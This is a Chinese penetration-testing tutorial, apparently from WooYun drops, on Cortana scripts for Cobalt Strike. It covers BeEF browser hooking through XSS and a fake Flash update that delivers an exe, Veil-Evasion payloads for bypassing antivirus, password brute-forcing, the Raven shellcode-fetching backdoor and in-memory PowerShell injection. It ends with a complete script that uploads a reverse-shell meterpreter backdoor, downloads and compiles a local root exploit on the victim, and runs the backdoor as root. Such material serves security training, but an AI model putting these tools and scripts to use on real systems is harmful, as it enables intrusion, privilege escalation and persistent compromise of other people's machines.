0x00 Cortana console


Alt text

Cortana是可以用于Cobalt strike以及Armitage的腳本,通過加載cortana可以向Cobalt strike中導入新的第三方工具,最大的好處就是各種第三方工具都進行了可視化,你可以通過點擊而不是通過命令行來完成一些操作,當然,通過定制cortana腳本,你可以在滲透測試過程中很方便的做一些批量操作或者自動化攻擊等。本篇文章主要選取了一些現有的cortana腳本,來進行簡單的介紹。

你可以通過如下命令下載cortana-scripts:

[email protected]:~# git clone https://github.com/rsmudge/cortana-scripts.git

本次測試使用的是Cobalt strike2.5,下載地址:戳我(自行驗證安全性)

除了可視化操作,cortana也可以使用命令行操作,依此點擊View->Script Console,則可打開,使用Help可以看到如下幾個命令:

cortana> help   

Commands
--------
askoff #參數為cna腳本,關閉腳本交互功能
askon #參數為cna腳本,開啟腳本交互功能
help #查看幫助信息
load #參數為路徑,加載Cortana腳本
logoff #參數為cna腳本,關閉腳本日志記錄
logon #參數為cna腳本,開啟腳本日志記錄
ls #列出加載的腳本
proff #參數為cna腳本,關閉腳本分析器
profile #參數為cna腳本,查看腳本簡介
pron #參數為cna腳本,開啟腳本分析器
reload #參數為cna腳本,重新加載腳本
troff #參數為cna腳本,關閉腳本跟蹤功能
tron #參數為cna腳本,開啟腳本跟蹤功能
unload #參數為cna腳本,卸載腳本

下面將介紹幾個好用的腳本。

0x01 Beef_strick


Beef是一款針對瀏覽器的滲透測試工具,之前三好學生師傅已經對他有一個比較詳細的介紹,而beef_strick則是可以在Cobalt strike及Armitage中加載Beef的一個Cortana腳本,要使用此腳本,首先要先下載安裝msf的beef插件。

[email protected]:~# git clone https://github.com/xntrik/beefmetasploitplugin.git
[email protected]:~# cd beefmetasploitplugin/
[email protected]:~/beefmetasploitplugin# cp plugins/* /usr/share/metasploit-framework/plugins/
[email protected]:~/beefmetasploitplugin# cp -R lib/* /usr/share/metasploit-framework/lib/

安裝依賴庫,執行:

[email protected]:~# gem install hpricot
[email protected]:~# gem install json  

如果不能更新,可以換成淘寶的ruby源,地址為https://ruby.taobao.org/

啟動msf:

[email protected]:~# service postgresql start
[email protected]:~# msfconsole

加載beef

msf > load beef

在這里有個坑,就是可能會碰到這個錯誤:

Alt text

經過多次研究最終找到解決方案,直接復制:

cp -R /var/lib/gems/2.1.0/gems/hpricot-0.8.6/lib/* /usr/lib/ruby/vendor_ruby/

現在再啟動msf,就可以加載beef了,如下圖:

Alt text

進入到cortana-scripts的beef_strike目錄(測試發現,最新版本的貌似有問題,所以找到了歷史版本的來做測試:地址請戳我),修改beef_strike.cna文件,將import的目錄改到當前beef_strike的目錄:

Alt text

除此之外,下載以下jar放到lib目錄:

[email protected]:~/beef_strike# cd lib
[email protected]:~/beef_strike/lib/# wget http://evi1cg.me/lib.rar #老外整理的jar包,請自行驗證安全性,不放心可以自己下載相應jar包
[email protected]:~/beef_strike/lib/# unrar x lib.rar

之后運行cobaltstrike或者armitage(不支持cobaltstrike3.0),以下以cobaltstrike做示例:

首先加載beef_strike,依此點擊cobaltstrike->Scripts->load,選擇beef_strike.cna

Alt text

連接beef,選擇Attacks->BeEF Strike->Start->control BeFF service,配置beef路徑,然后點擊strat開啟beef服務,之后連接beef服務,如下圖:

Alt text

點擊Conect之后填入beef服務地址,用戶名,密碼就可以連接beef了,這里比較重要的是這個key,如下圖:

Alt text

復制這個key,在連接處那里點擊key,并將此值填入,就可以正常使用了。

Alt text

只需要將http://192.168.74.144:3000/hook.js插入存在xss的網站,或者以任意方式執行該js,beef上面就可以看到主機上線了,嘗試訪問http://192.168.74.144:3000/demos/basic.html測試:

Alt text

選擇一個計算機,點擊右鍵,beef,可以看到其基本信息,右鍵可以看到beef更多的功能:

Alt text

比如社會工程學工具里面的fake flash update,點擊此按鈕之后輸出如下參數配置:

"payload_uri":"http://192.168.74.144:81/download/test.exe","image":"http://192.168.74.145:3000/demos/adobe_flash_update.png"

如下圖:

Alt text

之后受害者就會看到一個升級信息:

Alt text

點擊以后就會下載我們指定的exe。

更多的功能在:

Alt text

這里可以設置自動運行的多個命令,有興趣的小伙伴可以繼續進行研究,具體Beef使用詳見:瀏覽器利用框架BeEF測試

0x02 Veil_evasion


Veil是一款利用Metasploit框架生成相兼容的Payload工具,并且在大多數網絡環境中Veil 能繞過常見的殺毒軟件,可以使用如下命令下載:

[email protected]:~# git clone https://github.com/Veil-Framework/Veil-Evasion.git

下載以后進行配置安裝:

[email protected]:~# cd Veil-Evasion/setup/
[email protected]:~/Veil-Evasion/setup# ./setup.sh

之后就安裝python等一系列環境就可以正常使用了。

加載Veil_evasion,依此點擊cobaltstrike->Scripts->load,選擇Veil_evasion.cna,之后輸入Veil-Evasion.py的絕對路徑就成功加載 Veil_evasion了,如下圖:

Alt text

如果Veil_evasion路徑輸入錯誤,可以再set Veil_evasion Path處修改。

點擊Generate,就可以看到生成payload界面:

Alt text

通過雙擊Payload,MSFPayload可以選擇不同的生成方式,例如:

Payload選擇c/meterpreter/rev_tcp,MSFPayload選擇windows/meterpreter/reverse_tcp,一定要選同類型的,設置監聽ip及端口以后,點擊Generate,則可以看到生成的路徑,點擊ok則可生成payload,如下圖:

Alt text

0x03 Login_autopwn

此腳本可用于用戶口令破解,可以自動化測試多個服務,也可以針對單個服務進行口令破解,可破解的服務包括ssh,smb,ftp,telnet,vnc,vmauthd,pcanywhere,mssql,mysql等,使用前需要修改字典路徑:

Alt text

以及john字典路徑:

Alt text

修改以后,依此點擊cobaltstrike->Scripts->load,選擇login_autopwn.cna,之后通過點擊View->Script Console的打開Cortana,則可看到已經加載 login_autopwn:

Alt text

輸入help,可以查看命令:

Alt text

獲取服務信息之后,直接輸入start則可以進行自動化口令探測,當然也可以選擇某個模塊來進行探測,下面是一個demo:

IMAGE ALT TEXT

0x04 Raven


Raven是一個Windows后門,他可以訪問攻擊者控制的服務器,下載RAW shellcode,如果代碼可用,他將將代碼注入到其他進程中,可以通過”,”來創建多個URL列表,Raven將會采用循環的方式進行嘗試,安裝Raven以后,他每隔5分鐘會訪問依此控制服務器,安裝方法為:

  1. 復制raven.dll 到 c:\windows\linkinfo.dll。
  2. 安裝raven.exe,可以添加注冊表或者添加服務。

Cortana script中已經集成了Raven的使用腳本,使用方式如下:

step1:打開終端,開啟web服務

[email protected]:~# service apache2 start

step2:依次點擊View->Script console

step3:加載server.cna,client.cna

加載server.cna之前確保web根目錄配置正確

step4:依此點擊View->Raven

step5:點擊Export EXE,配置服務器地址,http://ip/foo 生成exe

step6:運行exe,之后會看到這樣:

Alt text

step7:開啟msf監聽,使用windows/meterpreter/reverse_tcp ,端口為4444。

step8:當有客戶端連入時,右鍵,Meterp tcp,端口為之前的端口,則可獲取會話。

0x05 Others


  • QRcode:用于生成網址的二維碼,它使用了google的api,修改一下就可以使用了。
  • annoy:用于騷擾用戶的小腳本,包括彈框,禁用鼠標、鍵盤,關進程,關機等。
  • icons:增加了很多圖標,看起來會更炫酷。
  • autoDiscover:用于發現新的網絡。
  • autoarp:arp掃描,用于發現網絡主機。
  • autofind:用于查找一些指定文件并下載。
  • autohack:這里共有三個腳本,autohack用于自動攻擊,當發現22端口時,使用對應的模塊進行暴力破解,發現445端口則嘗試使用ms08_067,自己可以根據自己的需要進行修改;autohash用于自動執行提權并進行hashdump操作,讀取到的hash將存入數據庫,執行creds則可以看到存儲的hash信息;autopsexec用于發現445端口開放時,使用psexec來測試登陸,使用的密碼為數據庫存儲的hash信息。
  • autoscan:自動掃描腳本,這里也有倆,automsfscan用于在hosts列表增加時自動執行msfscan操作;autonessus將在hosts列表增加時自動執行nessus掃描。
  • av-bypass-demo:這個腳本是在使用psexec時, 自動對payload進行免殺。免殺使用的源碼來自于https://github.com/rsmudge/metasploit-loader
  • beacon:增加了右鍵功能,并且為beacon增加了一個圖片,看起來更酷炫了。
  • binaries:用于Linux下替換文件。
  • differ:用于提示發現的新增加的服務。
  • eval:一個測試腳本,可以參考器為Cortana編寫命令行功能。
  • events-table:增加查看事件功能,加載以后,使用可以通過View -> Events打開。
  • idlewatch:查看用戶的空閑時間,并以帶顏色的小人圖標展示,無圖標->未知空閑時間;綠色圖標->用戶正在使用;藍色圖標->用戶活躍在5分鐘之內;黃色圖標->用戶活躍在30分之內;紅色圖標->用戶無效。
  • import_creds:此腳本用來將用戶憑證導入msf數據庫。使用方式為進入cortana命令行,使用import_creds進行導入。
  • int128scripts:int128寫的一些腳本,現在有四個,auto_crack是利用msf的jtr_crack_fast對用戶憑證進行破解的腳本;find_hosts是使用nmap進行掃描的腳本;find_hosts_ping_large_subnet是對于一個較大的子網指定端口進行快速掃描的腳本;infect是一個創建后門的腳本,Windows下面創建 metsvc后門并添加用戶開始3389端口,Linux下面創建用戶,添加后門并創建計劃任務,使用前記得修改參數。
  • irc-client:一個250行的IRC客戶端Cortana腳本。
  • login_logout:用于linux系統跟蹤用戶登陸信息。
  • multi-meterpreter:用于對多個系統同事執行命令。
  • Botvoice:一個比較好玩兒的功能,能夠在使用Cobalt Strike提供語音幫助。
  • new_payload:一個腳本示例,用于替換payload。
  • post-play:此腳本用于自動化執行腳本,可以加載msf的ruby腳本或者shell腳本。當獲取會話之后會自動執行。
  • pt_autodoc:此腳本可以監控主機以及服務信息,并將這些數據存入Mysql數據庫,同時隨時進行更新,可以使用圖形化工具比如gephi來觀測數據的變化。
  • rc_loader:快速加載rc腳本的腳本。
  • references:寫一些菜單的舉例腳本。
  • user_hunter:獲取用戶的腳本。能方便的找到域管理登陸的電腦。
  • safetynet:這個腳本允許用戶向meterpreter會話中注入’safetynet’ payload。
  • Sniffer:此腳本用于開啟嗅探功能。
  • vulns:示例腳本,用于顯示漏洞信息。
  • vy_con:使用此腳本可以控制和管理Vyatta的路由器。

0x06 POSH-Commander


在Powrshell如火如荼的時候,怎么能缺少Powershell相關的腳本呢?rvrsh3ll在github開源了一個與Powershell相關的Cortana腳本,使用此腳本可以通過可視化操作遠程注入powershell腳本到計算機內存,下載地址為:

[email protected]:~# git clone https://github.com/rvrsh3ll/POSH-Commander.git

下載以后,將remote_powershell.rb復制到metasploit-framework/modules/post/windows/manage/powershell/ 目錄:

[email protected]:~# cp POSH-Commander/msfmodule/remote_powershell.rb /usr/share/metasploit-framework/modules/post/windows/manage/powershell/

之后打開msf的console界面,執行如下命令:

msf> reload_all

依此點擊cobaltstrike->Scripts->load,加載posh_commander.cna,當獲取meterpreter會話以后,將會看到新增的powershell攻擊模塊:

Alt text

選擇其中的Veil-PowerView,輸入腳本地址,然后就可以選擇加載的模塊了:

Alt text

之后可以雙擊單個模塊,添加相應參數然后運行該Powershell腳本。原腳本路徑有點問題,不想改的話可以直接試用這個

測試執行HOST命令,選擇Custom Local Command,輸入HOST,運行之后可以看到運行返回的結果:

Alt text

0x07 定制自己的Cortana


除了以上的腳本,為了方便我們還可以自己編寫屬于自己的Cortana腳本,編寫示例在Cortana scripts里面已經有了一些,如果有興趣,你可以看看這個:

比如下面是一個自動對2.6.36內核linux自動提權的腳本:

# Auto Rooting < 2.6.36 Menu for Cobalt Engine v0.1 
popup shell {
 if (host_os(session_host($1)) eq "Linux") {
     menu "Auto Rooting" {
           item "Auto Rooting < 2.6.36" {
               println("Auto Rooting");
                                # Generate Payload
                                $r_lport = random_port();
                                $backdoor = generate("linux/x86/meterpreter/reverse_tcp", lhost(), $r_lport, %(), "elf");
                                $handle2 = openf(">/tmp/linux_backdoor_$r_lport");
                                writeb($handle2, $backdoor);
                                closef($handle2);  

                                shell_upload($1, "/tmp/linux_backdoor_$r_lport", "/tmp/linux_backdoor_$r_lport");

                                # Launch our aux shells
                                handler("linux/x86/meterpreter/reverse_tcp", $r_lport, %(LHOST => lhost()));

                                # Rooting
                                s_cmd($1, "wget http://downloads.securityfocus.com/vulnerabilities/exploits/44219.c");
                              s_cmd($1, "gcc 44219.c -o rootme_1");
                                s_cmd($1, "chmod +x rootme_1");
                                s_cmd($1, "chmod 0777 rootme_1");
                               s_cmd($1, "./rootme_1");
                                sleep(10 * 1000);
                                s_cmd($1, "chmod +x /tmp/linux_backdoor_$r_lport");
                                s_cmd($1, "chmod 0777 /tmp/linux_backdoor_$r_lport");
                               s_cmd($1, "chown root:root /tmp/linux_backdoor_$r_lport");
                              s_cmd($1, "/tmp/linux_backdoor_$r_lport");
                              s_cmd($1, "exit");

                                db_sync();  
           }
       }
   }
}

0x08 小結


使用Cortana腳本可以讓我們更加便捷的使用Cobalt strike,并能更加方便的進行自動化攻擊,希望對滲透測試中的你有所幫助。

0x09 參考


  1. http://security-is-just-an-illusion.blogspot.com/2013/11/one-day-with-cortana-script-engine.html
  2. http://www.rvrsh3ll.net/blog/offensive/point-click-powershell-pwn/
  3. https://www.veil-framework.com/veil-evasion-cortana-integration/
  4. http://www.fastandeasyhacking.com/download/c/cortana_defcon.pdf
  5. http://blog.cobaltstrike.com/2013/03/13/howto-integrate-third-party-tools-with-cortana/

本文由evi1cg原創并首發于烏云drops,轉載請注明

您的支持將鼓勵我們繼續創作!

[微信] 掃描二維碼打賞

[支付寶] 掃描二維碼打賞